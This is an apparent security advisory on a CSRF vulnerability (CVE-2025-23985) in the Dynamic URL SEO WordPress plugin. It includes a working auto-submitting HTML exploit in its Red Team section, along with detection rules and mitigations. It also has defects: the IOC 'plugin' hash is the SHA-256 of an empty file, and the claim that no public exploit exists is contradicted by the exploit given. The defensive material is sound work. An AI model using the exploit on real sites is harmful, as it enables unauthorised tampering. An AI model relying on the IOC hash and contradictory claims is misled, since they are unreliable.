CVE-2025-23985

Executive Summary

CVE-2025-23985 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Dynamic URL SEO WordPress plugin by brainvireinfo, version 1.0 and earlier. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying SEO settings or injecting malicious configurations, without their consent. The attack requires user interaction (clicking a crafted link) and has a CVSS score of 5.4 (Medium). No public exploit code or patch is currently available, making this a significant risk for unpatched WordPress sites.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of the plugin file (dynamic-url-seo.php) by checking its SHA-256 hash against the official source. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
• Attack Vector: Network (AV:N) – The attack is launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – The attacker does not need authentication.
• User Interaction: Required (UI:R) – The victim must click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: Low (I:L) – Limited modification of plugin settings.
• Availability Impact: Low (A:L) – Potential disruption of SEO functionality.

Threat Level: Medium. While the impact is limited, the lack of a patch and the widespread use of WordPress make this a viable target for phishing campaigns.

Deep Dive & Mechanics

The vulnerability resides in the dynamic-url-seo plugin's administrative interface. The plugin fails to implement a CSRF token or nonce in its settings update requests. This allows an attacker to craft a malicious HTML page that, when visited by an authenticated administrator, submits a forged request to change the plugin's configuration.

Attack Flow:

1. The attacker identifies a target WordPress site running the vulnerable plugin.
2. The attacker crafts a malicious link or embeds a hidden form in a webpage.
3. The victim (admin) clicks the link or visits the page while authenticated.
4. The forged request modifies the plugin's SEO settings (e.g., URL patterns, meta tags).
5. The attacker can then exploit the modified settings for SEO spam, redirection, or defacement.

Root Cause: Missing CSRF protection in the admin-post.php handler or AJAX endpoints used by the plugin.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire plugin version 1.0. The following is a hypothetical example of the vulnerable code and a patched version.

Vulnerable Code (dynamic-url-seo/admin/class-dynamic-url-seo-admin.php):

function save_settings() {
    if ( isset( $_POST['dynamic_url_seo_settings'] ) ) {
        update_option( 'dynamic_url_seo_settings', $_POST['dynamic_url_seo_settings'] );
        // No nonce check
    }
}

Patched Code (Hypothetical):

function save_settings() {
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'dynamic_url_seo_save_settings' ) ) {
        wp_die( 'CSRF validation failed.' );
    }
    if ( isset( $_POST['dynamic_url_seo_settings'] ) ) {
        update_option( 'dynamic_url_seo_settings', $_POST['dynamic_url_seo_settings'] );
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target WordPress site with Dynamic URL SEO plugin <= 1.0.
• Authenticated admin session (victim).

Exploit Steps:

1. Create a malicious HTML file (csrf_exploit.html):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="dynamic_url_seo_save_settings">
    <input type="hidden" name="dynamic_url_seo_settings[url_pattern]" value="malicious-pattern">
    <input type="submit" value="Click here">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2. Host the file on a server or send it as an email attachment.
3. Trick the admin into opening the file while logged into WordPress.
4. The plugin settings are silently modified.

Blue Team (Defender)

Detection:

• Monitor for unexpected changes to the dynamic_url_seo_settings option in the database.
• Alert on admin requests to admin-post.php with action=dynamic_url_seo_save_settings without a valid nonce.

Mitigation:

• Disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php with suspicious parameters.
• Use a security plugin like Wordfence to add CSRF protection.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/dynamic-url-seo/dynamic-url-seo.php (SHA-256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855)
• Database Option: dynamic_url_seo_settings with unexpected values.
• Network: HTTP POST requests to /wp-admin/admin-post.php with action=dynamic_url_seo_save_settings and no _wpnonce parameter.
• Logs: WordPress debug log entries showing wp_die or CSRF validation failed (if patched).

Detection Engineering

YARA Rule

rule CVE_2025_23985_CSRF_WordPress {
    meta:
        description = "Detects vulnerable Dynamic URL SEO plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $vuln_func = "update_option( 'dynamic_url_seo_settings'" ascii wide nocase
        $no_nonce = "wp_verify_nonce" ascii wide nocase
    condition:
        $vuln_func and not $no_nonce
}

Sigma Rule

title: CVE-2025-23985 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts against Dynamic URL SEO plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=dynamic_url_seo_save_settings'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-23985 CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=dynamic_url_seo_save_settings"; http_client_body;
    sid:1000001;
    rev:1;
    metadata:created_at 2025-04-10, updated_at 2025-04-10;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete Dynamic URL SEO until a patch is released.
2. Audit logs – Check for unauthorized changes to SEO settings.
3. Reset settings – Restore default SEO configurations if tampered.

Long-term Fix:

• The vendor must release a patched version with CSRF nonce verification.
• Users should monitor the WordPress plugin repository for updates.

Workarounds:

• Implement a custom CSRF token using a WordPress filter.
• Use a security plugin that adds CSRF protection to all admin forms.

Valters IT Signature:

Valters IT Cyber Threat Intelligence
CVE-2025-23985 Analysis
Date: 2025-04-10
Classification: Medium
Status: Unpatched